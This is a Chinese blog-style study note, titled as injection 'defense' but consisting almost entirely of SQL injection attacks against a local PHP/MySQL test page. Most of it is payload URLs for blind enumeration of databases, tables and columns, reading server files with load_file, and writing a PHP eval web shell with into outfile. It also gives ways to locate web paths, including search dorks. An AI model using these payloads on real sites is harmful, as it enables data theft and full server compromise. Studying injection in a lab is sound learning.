WEB安全 php+mysql5注入防御(二)
第四天:
一、新的注入函数:
- ascii()
- substring("string",n,m) n>=1
- limit n,m n>=0
- length()
- union 合并两个或多个 SELECT 语句的结果集,不重复
- union all 同上,但允许重复数据
- select distinct 等同于select,但会去重
- load_file() 文件读取
- into outfile 文件写入
information_schema.schemata 存储所有数据库信息
- SCHEMA_NAME 数据库名
- DEFAULT_CHARACTER_SET_NAME 数据库编码
- GLOBAL_VARIABLES 所有全局变量
二、猜解数据库个数、库名、表名、列名:
//猜解当前数据库长度、及库名
http://127.0.0.1/first.php?x=1 and Length((database()))=5 //当前数据库长度(数据库名:sqlin)
http://127.0.0.1/first.php?x=1 and ascii(substring((database()),1,1))=115 //猜解当前数据库第一位,ascii(s)=115
http://127.0.0.1/first.php?x=1 and ascii(substring((database()),2,1))=113 //判断数据库个数
http://127.0.0.1/first.php?x=1 and (select count(schema_name) from information_schema.schemata)=6 //判断所有数据库长度
http://127.0.0.1/first.php?x=1 and length((select distinct schema_name from information_schema.schemata limit 0,1))=18 //等同于下一条
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))=18 //第一个数据库
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 1,1))=5
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 2,1))=17
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 3,1))=5
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 4,1))=9
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 5,1))=4
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 6,1))>0 //不存在第7个数据库 //猜解所有数据库库名
http://127.0.0.1/first.php?x=1 and ascii(substring((select distinct schema_name from `information_schema`.schemata limit 0,1),1,1))<79 //第一个数据库名的第一个字符ascii值
http://127.0.0.1/first.php?x=1 and ascii(substring((select distinct schema_name from `information_schema`.schemata limit 1,1),1,1))<79
http://127.0.0.1/first.php?x=1 and length((SELECT table_name from information_schema.tables where table_schema=0x73716C696E limit 0,1))=4 //第一个数据库的第一个表名的长度
http://127.0.0.1/first.php?x=1 and ascii(substring((SELECT column_name from information_schema.columns where table_schema=0x73716C696E and table_name=0x6E657773 limit 0,1),1,1))=105 (i)
http://127.0.0.1/first.php?x=1 and ascii(substring((SELECT column_name from information_schema.columns where table_schema=0x73716C696E and table_name=0x6E657773 limit 0,1),2,1))=100 (d) 备:
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/first.php?x=1 and ascii(substring ((0x41),1,1))=0x41 //抓包抓到的语句,substring后有一个空格,导致这段注入无效,可能是工具bug
文件读取:
- 1. 要么使用“\\”,要么使用“/”,避免使用“\”造成转义
- 2. load_file("C:/phpStudy/WWW/first.php")可以写成十六进制格式load_file(0xnnnnnnn)
- http://127.0.0.1/first.php?x=1 union select load_file("C:/phpStudy/WWW/first.php"),2,3
文件写入:
- http://127.0.0.1/first.php?x=1 union select "<?php eval($_GET['caidao']); ?>",2,3 into outfile "C:/phpStudy/WWW/caidao.php"
网站路径获取方式:
- 1.报错显示,漏洞报错
- 2.遗留文件:phpinfo.php、php.php、info.php、test.php
- 3.读取配置文件
- 4.社工:域名即路径、google搜索、inurl:edu.cn warning、
三、information_schema下global_variables表在注入时可能有用的信息:
- version 数据库版本
- basedir 数据库安装路径
- datadir 数据库文件存放路径
- hostname 服务器的主机名
- port 数据库端口
- pid_file 进程pid文件路径
- general_log_file 日志文件路径
- character_set_server 字符编码
http://127.0.0.1/first.php?x=1 UNION SELECT variable_name,2,3 from information_schema.global_variables
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x76657273696F6E //version版本,直接通过VERSION()也可以获取
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x62617365646972 //basedir数据库的路径
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x44415441444952 //datadir数据库文件存放路径
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x686F73746E616D65 //hostname服务器主机名
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x504F5254 //PORT数据库端口
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x5049445F46494C45 //pid_file进程pid文件路径
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x47454E4552414C5F4C4F475F46494C45 //GENERAL_LOG_FILE日志文件路径
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x4348415241435445525F5345545F534552564552 //CHARACTER_SET_SERVER字符编码
mysql> show variables; //或者在交互模式中查看所有全局变量 低权限用户也可以访问:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| test |
+--------------------+
2 rows in set (0.00 sec) mysql> use information_schema;
Database changed
mysql> select variable_value from global_variables where variable_name=0x686F73746E616D65;
+----------------+
| variable_value |
+----------------+
| win7-PC |
+----------------+
1 row in set (0.00 sec)
WEB安全 php+mysql5注入防御(二)的更多相关文章
- WEB安全 php+mysql5注入防御(一)
注入利用函数: concat()函数将多个字符串连接成一个字符串 database() 当前数据库,用途:获取数据 version() 数据库版本,用途:利用版本特性,如5.0版本下的informat ...
- 小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST
Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--d ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- WEB 安全之 SQL注入 < 二 > 暴库
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- Web前端攻击方式及防御措施
一.XSS [Cross Site Script]跨站脚本攻击 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户 ...
- Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...
- 简单了解:Web前端攻击方式及防御措施
一.XSS [Cross Site Script]跨站脚本攻击 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用 ...
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...
随机推荐
- Docker学习(五): 仓库与数据管理
特别声明: 博文主要是学习过程中的知识整理,以便之后的查阅回顾.部分内容来源于网络(如有摘录未标注请指出).内容如有差错,也欢迎指正! =============系列文章============= 1 ...
- [javaSE] 多线程通信(等待-唤醒机制)
两个线程操作同一个资源,比如,输入和输出,操作同一个对象,此时两个线程会争夺cpu的执行权,随机的进行切换.我们想实现先输入再输出,顺序的执行 目标对象定义一个标记字段,进行判断,wait()和not ...
- 【原】Java跨域以及实现原理
前言:最近研究了一下跨域,主要是jsonp的实现,经过测试后总结如下: 一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面.动态网页.web服务.WCF,只要是跨 ...
- 撩课-Java每天5道面试题第25天
156.mvc:view-controller有什么作用? 当我们发送一个请求时,如果没有找到对应的mapping 则会对配置文件当中匹配mvc:view-controller 注意点:使用时要添加后 ...
- 线程协作--wait,notify:经典消费者生产者
JDK 中关于wait,notify这两个方法的介绍: 1.wait:线程进入阻塞. synchronized (obj) { while (<condition does not hold&g ...
- Oracle数据库基本操作 (五) —— 使用java调用存储过程
一.环境准备 登录Oracle数据库scott账号,利用emp进行操作. 1.创建 proc_getyearsal 存储过程 -- 获取指定员工年薪 create or replace procedu ...
- For循环中由于ajax异步导致的问题解决(增加alert数据正常,去掉alert之后数据错误)
由于ajax异步请求的机制,for循环运行不会等内部ajax请求结束,而直接循环到最后.解决方法:将for循环里面的请求单独封装一个方法. 个人遇到的问题具体如下 下面这段代码,如果第5行studat ...
- HDU P2222 Keywords Search
In the modern time, Search engine came into the life of everybody like Google, Baidu, etc.Wiskey als ...
- 【数据库】java链接jdbc 释放资源
/* * 编写快速 入门的jdbc 程序 : * * 1. 先导入 具体的驱动jar包 * 2. 编写一个类 , 写jdbc 的程序 * * 具体的编写 java类的 代码的 ...
- drupal 通过hook_menu实现添加菜单
$items['mypayment/onlinepay']=array( 'title' => '在线充值', 'description' => '在线充值', 'page callbac ...